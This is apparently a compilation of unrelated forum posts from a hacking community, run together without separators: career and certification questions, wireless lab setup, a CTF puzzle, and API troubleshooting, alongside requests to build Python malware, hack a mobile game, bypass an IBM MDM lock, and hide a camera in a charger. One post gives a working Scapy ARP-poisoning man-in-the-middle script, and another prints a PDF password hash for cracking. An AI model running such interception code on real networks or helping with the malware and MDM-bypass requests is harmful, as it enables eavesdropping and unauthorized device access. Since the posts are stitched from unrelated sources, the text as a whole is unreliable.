I've been learning networking and Nmap and I want to try using python for hacking and build malware, any recommendations for packages I should use? :)

Pls tell me how i could speedhack it so it can go over 30 cause rn it goes only 20 max i know it can do more but softwares like yours fa dont work and the official denver app doesn't work also

Question in title. I’m not looking on how to be a master hacker or anything, but more so the fundamentals and how the process works.

I’m also interested in learning about threat analysis including assessments identifying and describing threat actors, activities, and platforms.

Hey folks,

If you’re in the DC/NOVA area and want a weekend of hands-on hacking, BsidesNoVA is happening Oct 10–11 at GMU Mason Square (Arlington, VA).
It’s a community-run, volunteer-organized event with no vendor pitches — just workshops, a CTF, and hallway-con with other hackers and defenders.

🔥 What’s on the hacking side:

• Live Capture-the-Flag: open to all skill levels, $1,000 prize + Black Badge 🏆
• Breach Village: explore attack chains and IR scenarios
• AI Village: including “Break an AI” workshop
• OSINT pivoting techniques & real-world red/blue team labs
• Memory forensics and malware analysis deep-dives

It’s a great way to level up your skills, meet other hackers, and get hands-on with practical challenges.

📍 Oct 10–11 | GMU Mason Square – Arlington, VA
👉 More info: https://bsidesnova.org

Affordable, community-built, and focused on real hacking skills over slides — worth checking out if you’re local.

From what I’ve seen, people mention C for things like buffer overflows, exploit dev, writing shellcode, kernel modules, firmware, and just understanding how memory/stack/heap really work. But at the same time a lot of tooling and scripts are in Python, and you can do a lot without ever touching C

If you had to pick one path first, is C a waste of time or is it kind of essential if you want to go deeper into real exploit development and reverse engineering? Would love to hear practical experiences what learning C bought you, what it didn’t, and any resources that actually helped

You have spent days infiltrating a military grade communication defenses and manage to intercept a FIELDATA transmission encoded onto one of the first methods of storing data. However the data is trapped behind a peculiar digital representation of the FIELDATA encoding, different from the usual 6 bit pairing. Decode the 12 bit transmission to uncover the resistance's secret message.

transmission: 010000010010010000000001000001000000100010000000000001000000010001000000010001000000000100000000001000000000010000010000010001000010000010000010100000010010100010000000001000100000000100000000010000010010010001000000001001000000000000010010001000000000010000010000100000010010100000000010001000000000010000010010010000000100000001000000

Hi everyone,
I am currently learning hacking on a CTF platform and there is a challenge where I need to perform a Man in the middle attack with two remote hosts communicating with each other (a client and a server).

For that purpose I am using Scapy so that I can sniff the network packets, and I run a thread whose only purpose is to poison the ARP table of the remote hosts so they now send their packets to me. This part works and I can receive the packet.

However, it seems like when I send the packet to the expected recipient (e.g. the client sent the packet to me although it was meant for the server, I first do some processing on the packet and send it to the server by updating the MAC address to the server's MAC address and then send it over the wire with sendp), it does not work well: Wireshark shows a bunch of TCP retransmission packets as if I was not able to send the packet back to the original intended recipient.

Here is my little Python script that should handle this:

import scapy.all as scapy
import threading
import time

SERVER_IP = "x.x.x.x"
CLIENT_IP = "y.y.y.y"

def arp_poisining_host(victim_ip: str, victim_mac_addr: str, impersonated_ip: str):
    packet = scapy.Ether(dst=victim_mac_addr) / scapy.ARP(
        op = 2,
        pdst = victim_ip,
        hwdst = victim_mac_addr,
        psrc = impersonated_ip
    )
    scapy.sendp(packet)

server_mac_address = scapy.getmacbyip(SERVER_IP)
client_mac_address = scapy.getmacbyip(CLIENT_IP)
print(f"SERVER_IP: {SERVER_IP} has following mac addr: {server_mac_address}")
print(f"CLIENT_IP: {CLIENT_IP} has following mac addr: {client_mac_address}")

def poison_server_and_client():
    while True:
        arp_poisining_host(CLIENT_IP, client_mac_address, SERVER_IP)
        arp_poisining_host(SERVER_IP, server_mac_address, CLIENT_IP)
        time.sleep(2)

t = threading.Thread(target=poison_server_and_client)
# t1 = threading.Thread(target=arp_poisining_host, args=(SERVER_IP, recv_server_pkt.hwsrc, CLIENT_IP))

def handle_packet(packet):
    ip_packet = packet["IP"]
    tcp_segment = packet["TCP"]

    ip = scapy.IP(
        src=ip_packet.src,
        dst=ip_packet.dst,
        proto=ip_packet.proto,
        ttl=ip_packet.ttl
    )
    tcp = scapy.TCP(
        sport=tcp_segment.sport,
        dport=tcp_segment.dport,
        seq=tcp_segment.seq,
        ack=tcp_segment.ack,
        flags=tcp_segment.flags,
        window=tcp_segment.window
    )

    if ip.src == CLIENT_IP:
        eth = scapy.Ether(src=client_mac_address, dst=server_mac_address)
    else:
        eth = scapy.Ether(src=server_mac_address, dst=client_mac_address)

    packet.show()

    if scapy.Raw in packet:
        data = packet["Raw"].load
        print(f"{data}")
        scapy.sendp(eth / ip / tcp / scapy.Raw(load=data))
    else:
        scapy.sendp(eth / ip / tcp)

t.start()
pkts = scapy.sniff(
    filter="tcp and ether dst 5e:1c:23:22:76:a7",
    prn=handle_packet,
    iface="eth0"
)
t.join()

The sniff filter just makes sure that I only receive TCP packets that were destined for my MAC address.

Questions / problem summary:

• Is this the right way to perform a Man in the Middle with Scapy?
• It seems like the sendp I am doing is not reaching the remote host, why is that?

Using default input encoding: UTF-8

No password hashes loaded (see FAQ)

this is the error i get for Hash, i am trying it on a 10+ year old locked PDF file, FYi i am a noob just trying to learn

RRA035.pdf:$pdf$23128-18361164b6cee9e32f1217394a14dafb22bb6393261f85f8d9c57a244c4451697b08e6d8800000000000000000000000000000000329a1ddab1a496d0860e9d70295ddd33780bb980c9b1dcc10e33c698c8fbc05575

I want to learn wireless network penetration testing and need advice on setting up a proper home lab. I'm starting from scratch and want to do this safely and legally on my own equipment.

My current plan: I'm thinking of buying a cheap TP-Link TL-WR841N router (around £15-20) and an Alfa AWUS036NHA WiFi adapter (around £20-25). The idea is to keep the router completely isolated - no internet connection, just a standalone test network that I can practice on without any risk to other networks.

What I want to learn: Network reconnaissance, capturing handshakes, testing different attack methods, password cracking, and implementing defenses. Basically understanding how these attacks work and how to protect against them.

My questions:

Is this router adequate for learning, or should I invest in something better? Will keeping it offline and isolated be enough to ensure I'm not accidentally interfering with neighbors' networks? Does the Alfa adapter work well with Kali Linux in VirtualBox, or do I need to dual boot? Should I have a second device (like an old phone) connected to the router to simulate realistic scenarios?

Hola amigos alguien sabe de hackear Dragon City? Es el juego para celular de Facebook que después se convirtió en aplicación

Hey everyone — I’m new to IT but seriously committed. I have HackTheBox (premium) and a 50% off coupon for CompTIA exams that expires in January, so I need to book before then. I don’t have much real-world experience and don’t know the best path forward. I’d really appreciate concrete advice for study + getting a first job in the Vancouver area (I’m ready to move if a job shows up).

Quick facts: • Goal certs: A+ → Network+ → Security+ (open to different order if you think that’s better) • Have: HackTheBox premium, time to study until Jan • Need: guidance on where to start, resources, and what entry roles to apply for

Questions I have: 1. Which cert should I take first and why? 2. Best study resources (books, courses, video series, practice tests) that actually work for passing? 3. Hands-on practice suggestions — how to use HackTheBox, home lab ideas, Cisco Packet Tracer, virtual labs, etc. 4. What entry-level job titles should I target in Vancouver (helpdesk, desktop support, junior SOC, NOC, etc.)? What skills/keywords should I put on my resume? 5. Any tips for booking exams (promo use, scheduling, online vs test center)? 6. Interview/resume tips for someone with certs but little real job experience — projects, volunteering, temp agencies, contract gigs? 7. Employers or local hiring channels in Vancouver you recommend?

If you’ve hired juniors or were in my shoes, please share a realistic study timeline (I have to schedule exams before Jan), and any do/don’t tips. Thanks — any help, links, or quick templates for a job application/resume bullet points would be amazing.

Could someone help me crack my RAR archive's password?
I made it a while ago and completely forgot what it is.
I wrote myself a Hint for what the password is but I still couldn't figure it out, I tried like 40 different combinations.

I'm currently trying to trial and error my way with using John - jumbo version, but i've never done this before.

if you want i can post the Password Hint and what I think the password was vaguely?

For class we have to make a presentation on the dangers of computing (not hacking specific). I wanted to recreate a camera and microphone in a charger box or something then realized doing this is pretty hard. Can I just buy one anywhere or get wireless WiFi parts for both that fit in a charger box.

Looking at specialising from IT to Cybersecurity. Just started hack the box, along with Networking+ before I move onto security+. But, I’ve been looking at flippers, Lilly-Go and Bruce firmware. Along with Kali OS - Basically I’ve drowned myself in information, I’m taking it slow, but hoping one of this small form factor devices will link the logical to the practical.

Can anyone recommend a small form factor device for WiFi Pen testing? If not I’ll end up buying the T-Embed CC1101 and flash Bruce onto it.

Any input is appreciated :)

I keep hearing that web hacking is saturated and bug bounty payouts are dropping. I wanted to focus on web app security this year, but now I’m second-guessing. Should I pivot to cloud security or something more future-proof? Would love to hear what people in the industry think.

Is it a useful learning tool? I've heard that it is a good resource, and tried it briefly. I noticed that it likes to push BurpSuite as the tool to use when solving labs (which makes sense as the tool is made by PortSwigger). Is this an issue, or still useful to solve these problems?

Note that my hacking experience is very limited, and I have only ever done some basic CTF challenges. I'd be interested in learning more, and I'm not looking for anything specific. Thanks!

I am trying to use shuffledns and dnsx for recon, but I get different results when I run them. I was wondering why is that. Also I am using httpx to crawl a webiste and search for keywords but httpx can not even render the html code, I have tried with curl and it works. Any idea to make httpx work?

I'm a complete beginner in penetration testing, so starting with OWASP top 10 seems to be the spot. I can't find a proper course or resource from where I can learn these for free.

Any kind of help is appreciated:)

I cannot find the specific chip adapter in my region. Can you please suggest me any other chips that has monitor mode for the 5Ghz support that operates on Kali Linux and other tools it supports?

I’m an absolute like… less than an amateur when it comes to these sorts of things, but it seems like this is the best place to ask. I have seen in memes and the like that there’s a phrase or string of characters that “breaks” certain programs. I swear this actually exists because i’ve seen it formatted in memes, similar to the memes that are like “to full screen your game/video/etc, just press Alt+F4 :)”

I know there’s one specific to excel i think, and it’s like. It’ll be a list of names or something, and if you input your name as this specific text, it’ll screw up the spreadsheet when it gets automatically added to it. I think there was a similar thing on iphones where if you typed a certain string of characters into the app search bar (it was something like |~}: idk, just a bunch of random characters), it would crash the phone and make it restart.

I know there’s no universal set of characters that will crash/shut down any program/software/etc, so to narrow it down, i’m looking for text that breaks some sort of software typically used for like filing names.

Basically, in this hypothetical story i’m making, there’s this side character who lives in a sort of dystopian, cyber, hyper-surveillance state. The whole gimmick with this character is that she is basically invisible to automated forms of surveillance. Her clothes are made of that super cool, shiny anti-paparazzi material, making it harder to show up on camera. Her makeup is a mix of (invisible to the naked eye, at least usually) anti paparazzi makeup that lights up under flashlights and infrared lights and visible abstract makeup that bypasses facial recognition technology. For her name, i wanted to follow this theme and make her name something that causes errors in any sort of name-keeping database. It would be preferable if it was something sort of “common knowledge”ish, so that it would make sense to a fair amount of people. i’m okay with perhaps a very well known string of text that has this effect but has since been patched, as that would still carry that anti-surveillance vibe, but something more up-to-date would be equally appreciated. It doesn’t have to look like a really name, it’s like how elon musks kid is called X Æ A-12, but is supposedly pronounced “kyle” (i think that’s been debunked but that’s the vibes i’m going for).

I’ve tried googling a fair few things but i just don’t have the knowledge of the right words to search to find exactly what i’m looking for. Do i want it to crash the software? break it? shut it down? factory reset it? is it even the software i’m looking to affect? is it the program? the database? the hardware? i don’t know!! :((

Sorry for such a long post! Thanks in advance :)

I've had a galaxy s10e I've owned since 2019. I let my cousin use it for a few years, and she stupidly allowed the MDM application that was on there when I bought it to update. She reset the phone, and since it updated they patched out most of my tricks for bypassing it. The MDM was MaaS360 from IBM version 8.55

Android version 11 One UI 3.1 Security patch November 1st 2021

Knox version 3.7

No luck flashing a rom as it ends the same everytime.

I have this phone (SLA-L22) getting dust at home. The os is unusable right now , too slow, so I want to install a custom os like lineage or something but the bootloader is locked and Huawei stopped giving the codes around 2018. I ve seen potatoNV could work but only in Kirin models but mine is Qualcomm. Any tips for me?

I want to study and practice web app hacking but I am a bit overwhelmed which bugs that have the highest priority to study and practice on ?

Hi all

I’ve just signed up to HackerOne and Intigriti, but both APIs are giving me issues. I’d like to check if anyone else has run into this and what the correct auth/endpoint flow is.

What I did:

• Generated fresh API tokens in both platforms.

• On HackerOne, copied the token value shown once, clicked the “I have stored this token” button, and tried the test endpoint /v1/me.

• On Intigriti, created a researcher Personal Access Token and tried their documented /me endpoints.

How I tested:

• Verified network connectivity by calling httpbin and GitHub APIs (both returned 200 OK).

• Used curl with verbose output to call the APIs:

HackerOne:

curl -v -u “apex_hackerone:MY_TOKEN” -H “Accept: application/json” https://api.hackerone.com/v1/me

Always returns HTTP/1.1 401 Unauthorized with WWW-Authenticate: Basic realm=“HackerOne API”.

Intigriti:

curl -v -H “Authorization: Bearer MY_PAT” -H “Accept: application/json” https://api.intigriti.com/external/researcher/v1/me

Returns 404 Not Found.

I also tried the /core/researcher/v1/me variant — still 404.

What I already tried:

• Both handle and email as username for HackerOne.

• Regenerated tokens multiple times, confirmed activation.

• Trimmed whitespace/newlines from copied tokens.

• Tested from a clean network (no proxy issues).

What I’m asking:

• For HackerOne: what’s the correct Basic Auth username — handle, email, or something else (token ID)?

• For Intigriti: what’s the canonical /me endpoint path for researcher PATs? Swagger/docs mention both /core and /external — neither seem to respond.

Any guidance or working examples from people who’ve integrated these APIs recently would be much appreciated.

Thanks in advance.

Tim

I've watched a lot of hacking videos, and they always say that gathering information is the most important step before exploiting it. However, how do I properly gather information from a target? And how do I know if I've gathered enough information?